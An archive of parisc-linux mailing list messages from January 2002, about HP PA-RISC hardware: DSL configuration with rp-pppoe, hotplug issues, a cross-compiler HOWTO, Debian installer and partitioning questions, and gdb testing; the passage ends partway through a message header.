  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620910 32713 80.91.229.3 (22 Nov 2014 01:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:30 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 12:22:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mailout07.sul.t-online.com (mailout07.sul.t-online.com [194.25.134.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 217F9482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jan 2002 12:22:03 -0700 (MST)
Original-Received: from fwd05.sul.t-online.de 
	by mailout07.sul.t-online.de with smtp 
	id 16LUU3-0005di-04; Tue, 01 Jan 2002 20:21:59 +0100
Original-Received: from there (320008472305-0001@[80.135.17.31]) by fwd05.sul.t-online.com
	with smtp id 16LUTy-0mGMD2C; Tue, 1 Jan 2002 20:21:54 +0100
X-Mailer: KMail [version 1.3.2]
X-Sender: 320008472305-0001@t-dialin.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13552

The Problem was that I had to add the ID into pap-secrets AND 
/etc/ppp/peers/dsl-provider. My fault, but I thought I only have to put it 
into pap-secrets. 
Loading the ne module works perfect, I'm sending this mail through my 715/80 
as dsl-router

Thanks a lot, and a happy new year.

Hinrich



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Tue, 1 Jan 2002 23:38:34 +0000
Lines: 19
Approved: news@gmane.org
Message-ID: <20020101233834.GA2872@sleepie.demon.co.uk>
References: <20011229205411.GA11344@sleepie.demon.co.uk> <Pine.LNX.4.42.0112300049260.17057-100000@r6.petescaff.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620910 32716 80.91.229.3 (22 Nov 2014 01:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:30 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Peter Mottram <peter@petescaff.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 16:47:39 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from thinkpad.home (pc4-hems4-0-cust39.bre.cable.ntl.com [213.105.90.39])
	by dsl2.external.hp.com (Postfix) with ESMTP id B314A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jan 2002 16:47:38 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id CB1BF9E885; Tue,  1 Jan 2002 23:38:34 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.42.0112300049260.17057-100000@r6.petescaff.com>
User-Agent: Mutt/1.3.24i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13553

On Sun, Dec 30, 2001 at 12:56:54AM +0100, Peter Mottram wrote:
> Until I restarted ppp on my 712 it had been working perfectly for nearly
> three months with no /sbin/hotplug.
> 
> Unfortunately I am a sad unstable addict (I have been since pre-buzz days
> on i386) and have updated many times since ppp was last restarted.
> 
> This one I find weird because I know that it has worked but broke sometime
> recently. The only reason I restarted the system was to finally upgrade to
> the 2.4.16 kernel I have been happily running on a C160 and a collection
> of C110s.

Is it possible you now have CONFIG_HOTPLUG=y, and didn't before?

Does adding a fake sbin/hotplug fix it?

Richard



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO - PARISC Linux XC (v1.0 Dec 31 2001)
Date: Tue, 1 Jan 2002 18:53:39 -0500
Lines: 23
Approved: news@gmane.org
Message-ID: <20020101185339.F4130@systemhalted>
References: <20011231164231.C4130@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620910 32717 80.91.229.3 (22 Nov 2014 01:48:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 16:52:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from sh.od.inet (CPE0080C82B2487.cpe.net.cable.rogers.com [24.112.142.143])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1FA80482A
	for <parisc-linux@parisc-linux.org>; Tue,  1 Jan 2002 16:52:52 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g01Nrd919197
	for parisc-linux@parisc-linux.org; Tue, 1 Jan 2002 18:53:39 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20011231164231.C4130@systemhalted>; from carlos@baldric.uwo.ca on Mon, Dec 31, 2001 at 04:42:31PM -0500
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant (48% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13554

> 
> Cross-Compiler HOWTO at:
> 
> http://www.baldric.uwo.ca/HOWTO/PARISC-Linux-XC-HOWTO.html
> 
> Please feel free to steal/link/modify![1]
> 
> Matthew mentioned that I should probably send this to the
> GCC guys? (Does anyone have the interested contacts?)
> 
> c.
> 
> [1] http://www.baldric.uwo.ca/PARISC-Linux-XC-HOWTO.tar.gz

Correction:

[1] http://www.baldric.uwo.ca/HOWTO/PARISC-Linux-XC-HOWTO.tar.gz

Happy New Years! :)

c.



From - Thu Nov 08 21:21:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Papadonis <npapadon@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 0.9.3 installer didn't set 712 bootable
Date: 01 Jan 2002 22:35:24 -0500
Organization: None
Lines: 15
Approved: news@gmane.org
Message-ID: <m3y9jhfmrn.fsf@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620911 32722 80.91.229.3 (22 Nov 2014 01:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 20:35:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (pool-141-154-202-101.bos.east.verizon.net [141.154.202.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0CE37482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jan 2002 20:35:33 -0700 (MST)
Original-Received: (from nick@localhost)
	by localhost.localdomain (8.11.6/8.11.6) id g023ZPC02303;
	Tue, 1 Jan 2002 22:35:25 -0500
X-Authentication-Warning: localhost.localdomain: nick set sender to nick@coelacanth.com using -f
X-Face: 01-z%.O)i7LB;Cnxv)c<Qodw*J*^HU}]Y-1MrTwKNn<1_w&F$rY\\NU6U\ah3#y3r<!M\n9
 <vK=}-Z{^\-b)djP(pD{z1OV;H&.~bX4Tn'>aA5j@>3jYX:)*O6:@F>it.>stK5,i^jk0epU\$*cQ9
 !)Oqf[@SOzys\7Ym}:2KWpM=8OCC`
Original-Lines: 13
User-Agent: Gnus/5.090003 (Oort Gnus v0.03) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13555

I just tried installing 0.9.3 off the Debian installation CD.  On the
make system bootable option, nothing happened.  It appears that no
bootloader was installed.

I have a 712/80.

Where can I find a floppy 'rescue' image to boot into my root
filesystem?

Thanks

-- 
Nick



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Nick Papadonis <npapadon@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DISREGARD 0.9.3 installer didn't set 712 bootable
Date: 01 Jan 2002 23:21:27 -0500
Organization: None
Lines: 22
Approved: news@gmane.org
Message-ID: <m3u1u5fkmw.fsf@localhost.localdomain>
References: <m3y9jhfmrn.fsf@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620911 32728 80.91.229.3 (22 Nov 2014 01:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 21:21:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost.localdomain (pool-141-154-202-101.bos.east.verizon.net [141.154.202.101])
	by dsl2.external.hp.com (Postfix) with ESMTP id 31BD5482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jan 2002 21:21:30 -0700 (MST)
Original-Received: (from nick@localhost)
	by localhost.localdomain (8.11.6/8.11.6) id g024LRY02522;
	Tue, 1 Jan 2002 23:21:27 -0500
X-Authentication-Warning: localhost.localdomain: nick set sender to nick@coelacanth.com using -f
X-Face: 01-z%.O)i7LB;Cnxv)c<Qodw*J*^HU}]Y-1MrTwKNn<1_w&F$rY\\NU6U\ah3#y3r<!M\n9
 <vK=}-Z{^\-b)djP(pD{z1OV;H&.~bX4Tn'>aA5j@>3jYX:)*O6:@F>it.>stK5,i^jk0epU\$*cQ9
 !)Oqf[@SOzys\7Ym}:2KWpM=8OCC`
In-Reply-To: <m3y9jhfmrn.fsf@localhost.localdomain> (Nick Papadonis's message of "01 Jan 2002 22:35:24 -0500")
Original-Lines: 20
User-Agent: Gnus/5.090003 (Oort Gnus v0.03) XEmacs/21.4 (Civil Service)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13556

Sorry, I didn't create a F0 partition.  Disregard.

One other thing I noticed, is that more then 4 partitions couldn't be
created on my 2 gigabyte drive.  The disk partition utility informs
that the unused space is 'unusable'?

- Nick

Nick Papadonis <npapadon@yahoo.com> writes:

> I just tried installing 0.9.3 off the Debian installation CD.  On the
> make system bootable option, nothing happened.  It appears that no
> bootloader was installed.
> 
> I have a 712/80.
> 
> Where can I find a floppy 'rescue' image to boot into my root
> filesystem?
> 
> Thanks



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DISREGARD 0.9.3 installer didn't set 712 bootable
Date: Tue, 1 Jan 2002 20:38:48 -0800
Lines: 16
Approved: news@gmane.org
Message-ID: <20020101203848.1634246f.csuder@cisco.com>
References: <m3y9jhfmrn.fsf@localhost.localdomain>
	<m3u1u5fkmw.fsf@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620911 32733 80.91.229.3 (22 Nov 2014 01:48:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Nick Papadonis" <npapadon@yahoo.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Jan  1 21:38:52 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-4.cisco.com (sj-msg-core-4.cisco.com [171.71.163.10])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9C460482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  1 Jan 2002 21:38:51 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-4.cisco.com (8.11.3/8.9.1) with ESMTP id g024cnv12029;
	Tue, 1 Jan 2002 20:38:50 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABS40143;
	Tue, 1 Jan 2002 20:38:57 -0800 (PST)
In-Reply-To: <m3u1u5fkmw.fsf@localhost.localdomain>
X-Mailer: Sylpheed version 0.6.6 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13557

On 01 Jan 2002 23:21:27 -0500
"Nick Papadonis" <npapadon@yahoo.com> wrote:
> 
> One other thing I noticed, is that more then 4 partitions couldn't be
> created on my 2 gigabyte drive.  The disk partition utility informs
> that the unused space is 'unusable'?
> 

The standard fdisk utility in Linux is pretty PC-ish, so you can only have
4 primary partitions. However you can create one of them as "extended"
partition, and within this partition you can create additional ones,

	Christian 




From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gdb deb for testing, patch for review
Date: Tue, 1 Jan 2002 23:05:14 -0800
Lines: 15
Approved: news@gmane.org
Message-ID: <20020102070514.GB21302@tausq.org>
References: <20020101184109.GJ2179@tausq.org> <200201011909.g01J9x6v012320@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620912 32736 80.91.229.3 (22 Nov 2014 01:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:32 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 00:05:50 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F2A5482A
	for <parisc-linux@parisc-linux.org>; Wed,  2 Jan 2002 00:05:49 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id yswbkaaa for parisc-linux@parisc-linux.org; Tue, 1 Jan 2002 23:59:47 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16LfSc-0005am-00; Tue, 01 Jan 2002 23:05:14 -0800
Content-Disposition: inline
In-Reply-To: <200201011909.g01J9x6v012320@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.24i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13558

> This annoying problem has been around for a long time.  Argument
> printouts may not be valid at a function breakpoint due to code
> motion.

hmm.. ok. there are a lot of failures in the gdb test cases though.
perhaps someone can investigate these?

randolph
-- 
   @..@                                         http://www.TauSq.org/
  (----)
 ( >__< )
 ^^ ~~ ^^



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?q?Hinrich=20Aue?= <hinrich_aue@yahoo.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Wed, 2 Jan 2002 08:35:39 +0100 (CET)
Lines: 29
Approved: news@gmane.org
Message-ID: <20020102073539.99280.qmail@web21206.mail.yahoo.com>
References: <20020101233834.GA2872@sleepie.demon.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620912 32739 80.91.229.3 (22 Nov 2014 01:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:32 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 00:35:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web21206.mail.yahoo.com (web21206.mail.yahoo.com [216.136.175.8])
	by dsl2.external.hp.com (Postfix) with SMTP id EBD7E482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 00:35:40 -0700 (MST)
Original-Received: from [192.69.234.26] by web21206.mail.yahoo.com via HTTP; Wed, 02 Jan 2002 08:35:39 CET
In-Reply-To: <20020101233834.GA2872@sleepie.demon.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13559

Ok, thats what i did.

Girst I had to make the ne2000 run. With pa27-Version
of the kernel the driver loaded without problems, and
I started.
The first big Problem was the missing /sbin/hotplug
script. That caused a massive trap15.
I first inserted a dummy script, but something else
was wrong, and I thought it was the dummy-script. So I
made apt-get install hotplug, which installed another
/sbin/hotplug script, but nothing changed of course.
Than I found an excellent howto (german one) 
http://www.adsl4linux.de
that helped me alot to configure stuff.

I think rp-pppoe performs better than pppoed, and is
much more stable.

I think the main Problem lies between my ears, because
I never installed debian, and it's hard to configure.

If somebody has questions, My email is H_Aue@t-online.de

__________________________________________________________________

Gesendet von Yahoo! Mail - http://mail.yahoo.de
Ihre E-Mail noch individueller? - http://domains.yahoo.de



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hamish Moffatt <hamish@cloud.net.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] DSL on a 715/80 with rp-pppoe
Date: Wed, 2 Jan 2002 19:02:57 +1100
Lines: 13
Approved: news@gmane.org
Message-ID: <20020102190257.A14478@silly.cloud.net.au>
References: <20020101233834.GA2872@sleepie.demon.co.uk> <20020102073539.99280.qmail@web21206.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620912 32741 80.91.229.3 (22 Nov 2014 01:48:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 01:03:06 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from silly.cloud.net.au (c20042.eburwd1.vic.optusnet.com.au [203.164.66.244])
	by dsl2.external.hp.com (Postfix) with ESMTP id 444B4482A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  2 Jan 2002 01:03:05 -0700 (MST)
Original-Received: from hamish by silly.cloud.net.au with local (Exim 3.12 #1 (Debian))
	id 16LgMT-0003nG-00; Wed, 02 Jan 2002 19:02:57 +1100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020102073539.99280.qmail@web21206.mail.yahoo.com>; from hinrich_aue@yahoo.de on Wed, Jan 02, 2002 at 08:35:39AM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13560

On Wed, Jan 02, 2002 at 08:35:39AM +0100, Hinrich Aue wrote:
> I think the main Problem lies between my ears, because
> I never installed debian, and it's hard to configure.

Not hard, just different.


regards,
Hamish
-- 
Hamish Moffatt VK3SB <hamish@debian.org> <hamish@cloud.net.au>



From - Thu Nov 08 21:21:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt London <palinux@knm.yi.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 710 support
Date: Wed, 2 Jan 2002 15:54:15 +0000 (GMT)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33.0201021550230.30124-100000@coffeepot.matt>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620913 32744 80.91.229.3 (22 Nov 2014 01:48:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:33 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan  2 08:54:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from coffeepot.matt (mfs-pci-bqh-vty69.as.wcom.net [212.211.6.69])
